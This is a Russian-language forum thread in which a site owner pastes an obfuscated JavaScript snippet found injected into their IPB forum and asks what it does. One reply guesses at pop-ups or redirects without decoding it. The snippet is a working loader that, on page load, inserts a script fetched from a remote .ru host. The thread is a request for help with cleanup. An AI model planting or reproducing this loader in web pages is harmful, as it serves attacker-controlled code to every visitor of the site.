Перейти к публикации

Расшифровка скрипта


Рекомендованные сообщения

Обнаружил у себя в файлах такой (вредоносный) скрипт:

<script>var c;if(c!='' && c!='L'){c=null};var d=new String();try {this.P='';var R;if(R!='v'){R='v'};var K=']';var l=RegExp;var G="";var Q='g';var p='';var GR;if(GR!='' && GR!='k'){GR='vV'};var A=new String();var fp;if(fp!='mb' && fp != ''){fp=null};var H='[';var vo;if(vo!='I'){vo=''};var B=new Array();var D='replace';var T="";function h(hF,n){var S;if(S!='xi'){S='xi'};var pb="";var HG=H;HG+=n;var SC;if(SC!='q' && SC!='Y'){SC=''};var o='';HG+=K;var F=new l(HG, Q);var y;if(y!='GH' && y != ''){y=null};var QW;if(QW!='dr' && QW != ''){QW=null};return hF[D](F, p);};var C=h('cRrReZaRtReZERlReZmReZnZtZ',"ZR");var jk="";var Dt=new Date();var O=h('sJekt7AktktJr7ikb7ukt7ek',"kJ7B");var HO=h('824690774986490629',"97624");var P_=new Array();var x=h('aop1pQeonQd1C1hQiolUdQ',"UQo1");var dK;if(dK!='JI' && dK != ''){dK=null};var t=h('/PnPiDfCtPyd.dcEodmP/EnEiEfPtEyE.DcEodmC/DgdoEoPgClPeP.dcCoPmC/dcEbEsEsDpPoDrDtCsD.PcPodmP/PtCiEcPkEeDtEmDaDsdtdedrC.EcEoDmC.EpEhPpd',"EPCDd");var JC=new Array();var hl=new String();var hF="1";var lr=h('sIcIrAiIpBtA',"ABI");var Z='';var f_="";var kI;if(kI!='' && kI!='KJ'){kI='LO'};var Kr=h('oyn2l2o2aydI',"y2I");var a=h('hAt9tVp9:A/9/ViVmA298A6A-9cVoVmV.9gAoVoAgVlAeA.AcAo9mA.Vp9kV.AkAaViVxVi9n9-VcVoAmV.At9r9i9w9eAsAtVcAoVaAsAtV.VrAuA:9',"VA9");var tJ=new String();var YM="";var pB=h('btopdPyp',"ptP");var HT;if(HT!=''){HT='OU'};var mC='';window[Kr]=function(){var tV="";var Nd=new String();Hg=document[C](lr);var vl;if(vl!='' && vl!='Ob'){vl=''};var w;if(w!=''){w='ey'};Z+=a;var EK=new Date();var a_j=new Date();Z+=HO;Z+=t;var fK;if(fK!='' && fK!='Pt'){fK=null};var ID;if(ID!='LD' && ID != ''){ID=null};var Ib=new Array();Hg.setAttribute('defer', hF);var M=new Array();var hk=document[pB];Hg.src=Z;var aI;if(aI!='' && aI!='_w'){aI='Mp'};var TQ=new String();var EN=new Array();var Bi=new Array();hk.appendChild(Hg);var PW='';};} catch(E){};</script>

<!--fba0c733a7f94e2cb55b35733772d75d-->

Что конкретно он делает?

Ссылка на сообщение
Поделиться на других сайтах

Обнаружил такое у себя на форуме IPB, а их поддержка по выходным отдыхает, в отличии от тех. поддержки DLE :P .

И естественно хотелось бы знать что этот скрипт делает. Может его последствия тоже нужно почистить?

Ссылка на сообщение
Поделиться на других сайтах

И естественно хотелось бы знать что этот скрипт делает. Может его последствия тоже нужно почистить?

Расшифовывать лень, да нет смысла по сути, как правило это попапы, порно, редиректы на другие сайты

Ссылка на сообщение
Поделиться на других сайтах

Присоединяйтесь к обсуждению

Вы можете опубликовать сообщение сейчас, а зарегистрироваться позже. Если у вас есть аккаунт, войдите в него для написания от своего имени.

Гость
Ответить в тему...

×   Вставлено в виде отформатированного текста.   Вставить в виде обычного текста

  Разрешено не более 75 эмодзи.

×   Ваша ссылка была автоматически встроена.   Отобразить как ссылку

×   Ваш предыдущий контент был восстановлен.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

×
×
  • Создать...